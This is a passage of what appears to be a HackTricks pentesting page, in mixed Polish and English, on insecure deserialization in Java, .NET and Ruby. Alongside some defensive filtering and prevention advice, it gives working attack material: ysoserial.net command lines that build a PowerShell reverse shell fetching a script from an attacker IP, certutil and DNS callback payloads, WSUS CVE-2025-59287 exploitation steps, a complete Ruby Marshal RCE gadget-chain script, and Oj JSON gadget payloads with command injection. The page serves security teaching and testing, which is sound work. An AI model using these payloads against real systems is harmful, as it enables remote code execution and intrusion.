Using a Java Agent for Security Enhancement oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie blacklisting harmful classes, używając parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserialization, idealne dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.

Sprawdź przykład w rO0 by Contrast Security

Implementing Serialization Filters: Java 9 wprowadziło serialization filters poprzez interfejs ObjectInputFilter, dostarczając potężny mechanizm do określania kryteriów, które serialized objects muszą spełniać przed deserialization. Filtry te można stosować globalnie lub per stream, zapewniając precyzyjną kontrolę nad procesem deserialization.

Aby użyć serialization filters, możesz ustawić global filter obejmujący wszystkie deserialization operations lub skonfigurować go dynamicznie dla konkretnych streams. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystanie zewnętrznych bibliotek dla zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje kontroli i monitorowania Java deserialization. Te biblioteki mogą dostarczyć dodatkowe warstwy bezpieczeństwa, takie jak whitelisting lub blacklisting klas, analizowanie serialized objects przed deserialization oraz implementowanie niestandardowych strategii serialization.

  • NotSoSerial przechwytuje procesy deserialization, aby zapobiegać wykonaniu niezaufanego kodu.
  • jdeserialize pozwala na analizę serialized Java objects bez ich deserialization, pomagając zidentyfikować potencjalnie złośliwe treści.
  • Kryo to alternatywny framework serialization, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serialization, które mogą wzmocnić bezpieczeństwo.

References

JNDI Injection & log4Shell

Znajdź, czym jest JNDI Injection, jak go nadużyć za pomocą RMI, CORBA & LDAP i jak exploitować log4shell (oraz przykład tej vuln) na następującej stronie:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

Istnieje kilka produktów używających tego middleware do wysyłania wiadomości:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Zasadniczo istnieje wiele usług używających JMS w niebezpieczny sposób. Dlatego, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj potrzebne będą prawidłowe poświadczenia), możesz być w stanie wysłać malicious objects serialized, które zostaną deserialized przez consumer/subscriber.
Oznacza to, że w takim ataku wszyscy klienci, którzy będą korzystać z tej wiadomości, zostaną zainfekowani.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), wciąż musisz znaleźć prawidłowe gadgets, aby wykorzystać tę podatność.

Narzędzie JMET zostało stworzone, aby połączyć się i zaatakować te usługi, wysyłając różne malicious objects serialized przy użyciu znanych gadgets. Te exploity zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadgets znajduje się w podatnej aplikacji.

References

.Net

W kontekście .Net, deserialization exploits działają podobnie do tych znalezionych w Java, gdzie gadgets są wykorzystywane do uruchomienia konkretnego kodu podczas deserialization obiektu.

Fingerprint

WhiteBox

Kod źródłowy powinien być sprawdzony pod kątem wystąpień:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Należy skupić się na serializers, które pozwalają, aby typ był określany przez zmienną kontrolowaną przez użytkownika.

BlackBox

Wyszukiwanie powinno celować w Base64 zakodowany ciąg AAEAAAD///// lub dowolny podobny wzorzec, który może zostać poddany deserialization po stronie serwera, dając kontrolę nad typem do zdeserializowania. Może to obejmować, ale nie ogranicza się do, JSON lub XML struktur zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku możesz użyć narzędzia ysoserial.net, aby stworać deserialization exploits. Po pobraniu repozytorium git powinieneś skompilować narzędzie używając na przykład Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget służy do wskazania gadgetu, który ma być wykorzystany (wskazanie klasy/funkcji, która zostanie abused podczas deserialization, aby wykonać polecenia).
  • --formatter, używane do wskazania metody serializacji exploita (musisz wiedzieć, której biblioteki używa back-end do deserialization i użyć tej samej do serializacji).
  • --output służy do wskazania, czy chcesz exploit w formie raw czy base64 encoded. Uwaga: ysoserial.net będzie kodować payload używając UTF-16LE (kodowanie domyślne w Windows), więc jeśli otrzymasz raw i po prostu zakodujesz go z konsoli linux może wystąpić kilka encoding compatibility problems, które uniemożliwią poprawne działanie exploita (w HTB JSON box payload zadziałał zarówno w UTF-16LE jak i ASCII, ale to nie znaczy, że zawsze będzie działać).
  • --plugin ysoserial.net wspiera pluginy do tworzenia exploits dla specific frameworks takich jak ViewState

More ysoserial.net parameters

  • --minify zapewni mniejszy payload (jeśli to możliwe)
  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadgets, które mogą być użyte z podanym formatterem (Json.Net w tym przypadku)
  • --sf xml możesz wskazać gadget (-g) i ysoserial.net będzie szukać formatterów zawierających “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma także bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli podasz ten parametr, ysoserial.net spróbuje exploit lokalnie, dzięki czemu możesz sprawdzić, czy twój payload zadziała poprawnie.
Ten parametr jest pomocny, ponieważ przeglądając kod znajdziesz fragmenty kodu takie jak poniższy (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Oznacza to, że aby przetestować exploit, kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie previous code is vulnerable to the exploit created. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, to prawdopodobnie ta aplikacja też jest podatna.
Dlatego parametr --test pozwala nam zrozumieć which chunks of code are vulnerable to the deserialization exploit that ysoserial.net can create.

ViewState

Zobacz this POST about how to try to exploit the __ViewState parameter of .Net to wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, read this post to know to execute code.

Przykład z prawdziwego świata — sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Dotknięte endpointy:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie(): AuthorizationCookie jest odszyfrowywane, a następnie deserializowane za pomocą BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch i powiązane operacje SOAP, które trafiają do sinków SoapFormatter; base64 gadget jest przetwarzany, gdy konsola WSUS przetwarza zdarzenie.
  • Przyczyna: bajty kontrolowane przez atakującego trafiają do przestarzałych formatów .NET (BinaryFormatter/SoapFormatter) bez ścisłych allow‑lists/binders, więc łańcuchy gadgetów wykonują się jako konto usługi WSUS (często SYSTEM).

Minimalne wykorzystanie (ścieżka Reporting):

  1. Wygeneruj .NET gadget za pomocą ysoserial.net (BinaryFormatter lub SoapFormatter) i wyeksportuj do base64, na przykład:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Utwórz SOAP dla ReportEventBatch, osadzając base64 gadget i wyślij POST do /ReportingWebService.asmx.
  2. Gdy administrator otworzy konsolę WSUS, zdarzenie zostanie zdeserializowane, a gadget się uruchomi (RCE jako SYSTEM).

AuthorizationCookie / GetCookie()

  • Sfałszowany AuthorizationCookie może zostać zaakceptowany, odszyfrowany i przekazany do BinaryFormatter sink, umożliwiając pre‑auth RCE, jeśli jest osiągalny.

Parametry Public PoC (tecxx/CVE-2025-59287-WSUS):

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Zapobieganie

Aby złagodzić ryzyka związane z deserializacją w .Net:

  • Nie pozwalaj strumieniom danych określać typów obiektów. Używaj DataContractSerializer lub XmlSerializer, gdy to możliwe.
  • Dla JSON.Net, ustaw TypeNameHandling na None: TypeNameHandling = TypeNameHandling.None
  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.
  • Ogranicz typy, które mogą być deserializowane, mając na uwadze ryzyka związane z typami .Net, takimi jak System.IO.FileInfo, który może modyfikować właściwości plików na serwerze, potencjalnie prowadząc do ataków typu denial of service (DoS).
  • Uważaj na typy posiadające ryzykowne właściwości, np. System.ComponentModel.DataAnnotations.ValidationException z właściwością Value, którą można wykorzystać.
  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec możliwości wpływu atakującego na proces deserializacji, co uczyni nawet DataContractSerializer lub XmlSerializer podatnymi.
  • Zaimplementuj kontrolę białej listy używając niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.
  • Bądź na bieżąco ze znanymi niebezpiecznymi gadgetami deserializacji w .Net i upewnij się, że deserializery nie tworzą instancji takich typów.
  • Izoluj potencjalnie ryzykowny kod od kodu mającego dostęp do internetu, aby nie narażać na źródła zewnętrzne znanych gadgetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF.

Referencje

Ruby

W Ruby serializacja jest realizowana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do zamiany obiektu na strumień bajtów — proces ten nazywa się serializacją. Z kolei druga metoda, load, służy do odtworzenia obiektu ze strumienia bajtów — proces nazywany deserializacją.

Aby zabezpieczyć serializowane obiekty, Ruby stosuje HMAC (Hash-Based Message Authentication Code), zapewniające integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z następujących miejsc:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

As explained in this vulnerability report, if some user unsanitized input reaches the .send() method of a ruby object, this method allows to invoke any other method of the object with any parameters.

For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Co więcej, jeśli tylko jeden parametr .send() jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która nie wymaga argumentów lub której argumenty mają wartości domyślne.
W tym celu można wyenumerować wszystkie metody obiektu, aby znaleźć kilka interesujących metod, które spełniają te wymagania.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Sprawdź, jak możliwe jest pollute a Ruby class and abuse it in here.

Ruby _json pollution

Jeśli w body zostaną przesłane wartości, które nie są hashable, np. tablica, zostaną one dodane pod nowym kluczem o nazwie _json. Jednak atakujący może też ustawić w body wartość o nazwie _json z dowolnymi danymi, jakie zechce. Jeśli backend np. sprawdza prawdziwość jakiegoś parametru, ale następnie używa parametru _json do wykonania akcji, może dojść do ominięcia autoryzacji.

Więcej informacji znajdziesz na Ruby _json pollution page.

Inne biblioteki

Ta technika została zaczerpnięta z tego wpisu na blogu.

Istnieją inne biblioteki Ruby, które mogą być użyte do serializowania obiektów i które mogą zostać wykorzystane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, która jest wywoływana w klasie podczas deserializacji (funkcja, którą można wykorzystać do uzyskania RCE):

BibliotekaDane wejścioweMetoda uruchamiana w klasie
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))

Podstawowy przykład:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

W przypadku próby nadużycia Oj udało się znaleźć gadget class, która wewnątrz swojej funkcji hash wywołuje to_s, które z kolei wywołuje spec, które z kolei wywołuje fetch_path — co pozwoliło zmusić ją do pobrania losowego URL-a, stanowiąc doskonały wykrywacz tego typu unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Co więcej, stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest także folder, co jest wymagane do wykorzystania innego gadgetu, aby przekształcić to w pełne RCE za pomocą czegoś takiego:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Funkcja przesyłania plików w aplikacji Rails pozwala atakującemu na dowolne zapisywanie plików. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, np. tmp, są zapisywalne z powodu użytkownika non-root w Dockerze), nadal pozwala to na zapis do katalogu cache Bootsnap (zwykle pod tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap przyspiesza uruchamianie Rails przez cache’owanie skompilowanego kodu Ruby oraz plików YAML i JSON. Przechowuje pliki cache, które zawierają nagłówek cache key (z polami takimi jak Ruby version, file size, mtime, compile options itd.), a następnie skompilowany kod. Ten nagłówek jest używany do walidacji cache podczas startu aplikacji.

  • Gather File Metadata

Atakujący najpierw wybiera docelowy plik, który prawdopodobnie jest ładowany podczas startu Rails (na przykład set.rb z biblioteki standardowej Ruby). Wykonując kod Ruby wewnątrz kontenera, wyodrębnia krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, size, mtime oraz compile_option). Te dane są niezbędne do stworzenia poprawnego cache key.

  • Compute the Cache File Path

Replikując mechanizm haszowania FNV-1a 64-bit używany przez Bootsnap, określa się poprawną ścieżkę pliku cache. Ten krok zapewnia, że złośliwy plik cache zostanie umieszczony dokładnie tam, gdzie Bootsnap się go spodziewa (np. pod tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Atakujący przygotowuje payload, który:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

Ten payload jest kompilowany do binarnego kodu Ruby i łączony z starannie skonstruowanym nagłówkiem cache key (z wykorzystaniem wcześniej zebranych metadanych oraz odpowiedniego numeru wersji Bootsnap).

  • Overwrite and Trigger Execution

Wykorzystując arbitrary file write vulnerability, atakujący zapisuje przygotowany plik cache w obliczonej lokalizacji. Następnie wywołuje restart serwera (poprzez zapis do tmp/restart.txt, który jest monitorowany przez Puma). Podczas restartu, gdy Rails wymaga załadowania docelowego pliku, złośliwy plik cache jest wczytywany, co skutkuje remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Typowe gadget classes spotykane w rzeczywistych chains: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Typowy side-effect marker osadzony w payloads (wykonywany podczas unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Gdzie pojawia się w rzeczywistych aplikacjach:

  • Mechanizmy cache Rails i magazyny sesji, które historycznie wykorzystywały Marshal
  • Backendy zadań w tle oraz obiektowe magazyny oparte na plikach
  • Wszelkie niestandardowe mechanizmy trwałego przechowywania lub transportu binarnych blobów obiektów

Zindustrializowane wykrywanie gadgetów:

  • Grepuj pod kątem konstruktorów, hash, _load, init_with lub metod powodujących efekty uboczne wywoływanych podczas unmarshal
  • Użyj CodeQL’s Ruby unsafe deserialization queries, aby prześledzić sources → sinks i ujawnić gadgety
  • Weryfikuj za pomocą publicznych multi-format PoCs (JSON/XML/YAML/Marshal)

Źródła

  • Trail of Bits – Marshal madness: Krótka historia Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks